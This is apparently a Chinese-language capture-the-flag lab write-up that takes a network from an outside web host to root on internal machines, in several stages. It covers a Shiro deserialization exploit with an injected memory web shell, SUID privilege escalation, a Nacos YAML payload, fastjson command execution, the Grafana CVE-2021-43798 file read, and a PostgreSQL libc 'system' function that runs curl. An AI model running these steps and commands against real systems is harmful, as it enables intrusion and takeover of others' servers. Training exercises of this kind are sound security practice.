信息收集
python dirsearch.py -u 39.98.109.138:8080
可以看到有headump直接dump下来分析一波
存在shiro框架找到了shirokey 找漏洞利用工具弹shell
漏洞利用
直接使用shiro漏洞利用工具反弹shell或者注入内存马都行,这里直接注入冰蝎内存马,然后连接
suid提权
find / -perm -u=s -type f 2>/dev/null
利用vim.basic查看文件vim.basic /root/flag/flag01.txt
有了这个能编辑文件加个特权账户,使用pwncat终端重新接收shell
1 | back #返回shell |
内网渗透
上传fscan 扫描内网
内网存在一个 nacos漏洞下载漏洞利用工具charonlight/NacosExploitGUI。编辑NacosExploitGUI-main\漏洞复现环境\nacos-client_yaml_deserialize\yaml-payload\src\artsploit\AwesomeScriptEngineFactory.java
修改其文件为添加管理员用户
根据他的bat里的命令重新编译一下会生成一个jar包,用冰蝎把它上传到受害机,然后用python开一个服务利用漏洞利用工具进行利用。
内网穿透
在利用之前先把代理搭起来用Stowaway
攻击端
受害端
搭建socks代理
漏洞利用
然后在tmp目录下起一个http服务结合漏洞利用框架进行利用


看看能否直接rdp上去
拿到第二个flag
前面在fscan扫描的时候还看到一个172.30.12.236:8080开启了一个服务访问看看,抓包
有json特征应该是是fastjson漏洞,测试一下发现了
使用插件可以直接执行命令,拿到第三个flag
执行ifconfig发现还存在内网,继续利用该插件注入内存马
可以发现是双网卡,在搭一层二级代理
Grafana文件读取漏洞
搭建成功。然后我们继续上传fscan去扫描 54这个网段
1 | ./fscan -h 172.30.54.179/24 |
可以看到存在一个服务访问一下
存在Grafana文件读取漏洞(CVE-2021-43798)
https://github.com/A-D-Team/grafanaExp 漏洞利用工具下载下来上传到受控机器然后执行
postgresql getshell
获取到用户名和密码直接navicat连接查询
直接修改密码ALTER USER root WITH PASSWORD '123456';然后反弹shell
PostgreSQL <= 8.1 可以通过调用系统的动态链接库 libc.so.6 来实现命令执行
参考:
https://tttang.com/archive/1547/#toc_0x06-postgresql
https://blog.csdn.net/qq_33020901/article/details/79032774
1 | CREATE OR REPLACE FUNCTION system (cstring) RETURNS integer AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT; select system('curl 172.30.54.179'); |
然后提权
直接连接输入 \?之后在输入!/bin/bash就可以到root权限了直接读flag文件
参考:
https://mp.weixin.qq.com/s/Fo2bWRnLj9F_IgFNnt3nRA
https://fushuling.com/index.php/2024/01/06/%E6%98%A5%E7%A7%8B%E4%BA%91%E5%A2%83-hospital/